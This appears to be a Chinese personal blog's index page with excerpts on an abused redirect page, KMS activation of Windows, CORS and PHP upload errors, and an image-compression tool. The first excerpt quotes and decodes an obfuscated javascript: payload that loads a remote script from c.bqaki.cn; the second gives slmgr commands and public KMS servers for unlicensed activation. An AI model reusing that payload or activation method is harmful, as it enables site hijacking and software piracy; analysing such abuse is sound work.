NoBige-JackCh3n

copy to my blog

Home decor

故事

去年的时候博客针对第三方网址地址跳转做了一个html页面,来做跳转用!这样能一定程度减少博客的权重的流失!

这个HTML跳转页面是纯JS实现的,页面上也没做安全判断!

但是过了一段时间突然发现域名被微信封了,不在微信分享网页了~~~

经过分享发现原来是有人恶意利用这个html跳转页面,跳转到菠菜网站!!

博主发现后立即在这个页面中加了有效的判断,然后开始漫长的申请解封的道路!

链接

1
含有恶意欺诈网页:  https://51.ruyo.net/go/index.html?u=javascript:parent[String.fromCharCode(101;118;97;108)](parent[String.fromCharCode(97;116;111;98)]("ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPS8vYy5icWFraS5jbi94cy5qcz48L3NjcmlwdD4iKQ=="));//241137/241137.html#pt_1520302119694 

拆开得到javascript代码

1
2
3
4
5
javascript:parent[String.fromCharCode(101;118;97;108)](parent[String.fromCharCode(97;116;111;98)]("ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPS8vYy5icWFraS5jbi94cy5qcz48L3NjcmlwdD4iKQ=="));//241137/241137.html#pt_1520302119694 

//parent() 方法返回被选元素的直接父元素。
//fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。
//这个几个Unicode 值分别等于
  • 101 = e
  • 118 = v
  • 97 = a
  • 108 = l
  • 97 = a
  • 116 = t
  • 111 = o
  • 98 = b

连起来,得到eval atob,猜测可能是js函数

1
2
eval()// 函数计算 JavaScript 字符串,并把它作为脚本代码来执行。
atob() //方法用于解码使用 base-64 编码的字符串。

ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPS8vYy5icWFraS5jbi94cy5qcz48L3NjcmlwdD4iKQ==

解码得到

document.write("<script src=//c.bqaki.cn/xs.js></script>")

我访问这个链接的时候已经是找不到这个ip地址了(网站挂了)但是在网上找到了缓存,估计是有人也是遭遇同样的情况然后用urlscan.io 扫描了一下

大概信息是

  • 扫描时间:2018年1月4日
  • 服务器地址:天津 天津 , 中国

完整的缓存js代码是

Read more »

Getting ready

缘由

​ 这是2019、2、27写的文章,迟迟未发布,考虑很多,害怕收到律师函之类的东西,但这些提供服务的网站截至到发稿时都还好好的便将其放出来

盗版

​ 盗版(又称“翻版”)指在未经版权所有人同意的情况下,对其作品、出版物进行复制、再分发的行为,以及以此行为制成的侵权产品。在很多国家和地区,这种行为被定义为侵犯知识产权的违法行为,甚至犯罪行为,会受到所在国的处罚。盗版出版物通常包括盗版书籍、盗版软件和盗版音像作品。

态度

​ 盗版就是偷

What is kms activation

​ KMS,全称Key Management Service,是微软官方认可的一种系统激活方式,普遍适用于企业。

关我屁事

​ 利用这个我们可以开心的激活电脑上的windows系统,支持windows7,windows8,windows10等等,还不要钱,免费!

系统下载

支持kms的VL

激活Windows

  • 以管理员身份打开命令提示符,然执行下列命令(以kms.03k.org为例):
  • 也可以另存为bat批处理文件
1
2
3
4
::cd /d "%SystemRoot%\system32"
slmgr /skms kms.03k.org
slmgr /ato
slmgr /xpr

KMS服务器

1
2
3
4
kms.cangshui.net
kms.moeclub.org
kms.03k.org
kms.library.hk

懒?

懒得一个个打(复制粘贴)为此网站的站长还热心的提供了一键脚本

效果图

沧水的一键脚本

注意

任何非官方渠道激活的盗版系统均有一定的风险。

最后

本文以一个学习的态度,揭露了windows盗版行业背后的阴暗一面。

​ 任何非官方渠道激活的盗版系统的行为都是可耻的作为一个祖国的花朵,国家的未来,社会的栋梁我们要坚决反对和制止有相关行为的人员。

KMS GVLK 列表

Read more »

Leaves and dew

错误

Access-Control-Allow-Origin

1
2
Access to XMLHttpRequest at 'http://bookmarks.tiiao.cn/api/qrcode.php' popup.js:27 
from origin 'chrome-extension://mfhbgdlbkinkfilcddigcdcidecnefbi' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

问题原因

​ 跨域请求

解决

php文件添加header,注意:添加后意味着全部站都可以跨域请求。

1
2
3
4
5
header('Access-Control-Allow-Origin:*');#所有域名都可以

header('Access-Control-Allow-Origin:https://nobige.cn');#单个域名

header('Access-Control-Allow-Origin:'.['https://nobige.cn','https://www.nobige.cn']);#多个域名

或者.htaccess文件添加

1
2
3
Header set Access-Control-Allow-Origin "*"#所有域名都可以

Header set Access-Control-Allow-Origin "https://nobige.cn";#单个域名

注意:.htaccess不支持多个域名,要么单个域名,要么全部域名

注意:.htaccess不支持多个域名,要么单个域名,要么全部域名

注意:.htaccess不支持多个域名,要么单个域名,要么全部域名

同理在httpd.conf添加对于的代码也是可行的

在 <Directory>, <Location>, <Files> 或者 <VirtualHost>字段内添加

1
2
3
Header set Access-Control-Allow-Origin "*"#所有域名都可以

Header set Access-Control-Allow-Origin "https://nobige.cn";#单个域名

和.htaccess一样,不支持多个域名,要么单个域名,要么全部域名

注意:如果在php中添加,.htaccess文件或者httpd.conf文件中不能有相同功能的代码,否者会冲突

Access-Control-Allow-Origin

1
Access to XMLHttpRequest at 'http://bookmarks.tiiao.cn/api/import.php' from origin 'chrome-extension://mfhbgdlbkinkfilcddigcdcidecnefbi' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: The 'Access-Control-Allow-Origin' header contains multiple values '*, *', but only one is allowed.

其他错误

Access-Control-Allow-Headers

1
Access to XMLHttpRequest at 'http://bookmarks.tiiao.cn/api/import.php' from origin 'chrome-extension://mfhbgdlbkinkfilcddigcdcidecnefbi' has been blocked by CORS policy: Request header field authorization is not allowed by Access-Control-Allow-Headers in preflight response.

也可以添加对于header头

1
header('Access-Control-Allow-Headers:*');

参考

鹿 非洲

错误

php上传图片过程中,出现如上错误。

Warning: POST Content-Length of 10240000 bytes exceeds the limit of 5242880 bytes in Unknown on line 0

解决方案

1.修改php.ini文件,将post_max_size 改成你要的大小如100M?

post_max_size = 5M限制post请求body的大小

upload_max_filesize = 10M上传文件的最大允许大小。

2.网页前端Js判断是否大于指定的值

如果是生产环境则,修改php.ini文件,将display_errors 关闭,屏蔽错误显示或者启用错误日志。

display_errors = Off

疑惑

不知道为什么,如果不将display_errors 关闭,在php文件中添加以下代码始终无效

1
2
3
4
// 关闭所有PHP错误报告
error_reporting(0);

ini_set('display_errors','off');

图片

@小虫-鹿非洲-免费动物图_动物图库_动物素材下载,鬣狗,鸵鸟,免费,动物,图,图库,素材,下载-沙沙野

美女海边

借口

​ 在写文章的时候因为需要压缩图片,打开网页还要点击下载,很是麻烦,试过别的软件又不是很满意,要么软件过于庞大,50M起步,有的更是夸张,试过limitPNG2 发现只能支持png,PPDuck3收费,Light Image Resizer 5神奇算法还能给图片增量真是fo了,当然了也看了下官网推荐的windows软件都是过于庞大,于是便自己动手写了个软件。用的易语言,界面难看,核心是post。

​ 在写的过程中发现有人也写了一个类似的,但是我本地测试不能用,另一个则是直接调用网页,感觉太low了。

截图

TinyPng in Windows

特色

  • 小
  • 免费
  • 支持批量
  • 无压缩上限
  • CPU不狂涨

同行产品

某个我觉的比(非)较(常)差(low)的截图

同行1

不能正常运行,但是可以借鉴的软件截图

同行1

limitPNG2

limitPNG2

PPDuck3

PPDuck3

Light Image Resizer 5

Light Image Resizer 5

bamboo

bamboo

tinyPNGApp

tinyPNGApp

体验

  • 其中PPDuck3我觉得是体验最好的软件,不管是压缩速度还是界面美观都是很不错的,虽然整个软件有点大,150m左右。未找到

  • limitPNG2 则是只支持png,且速度实在是不敢恭维

下载

参考

0%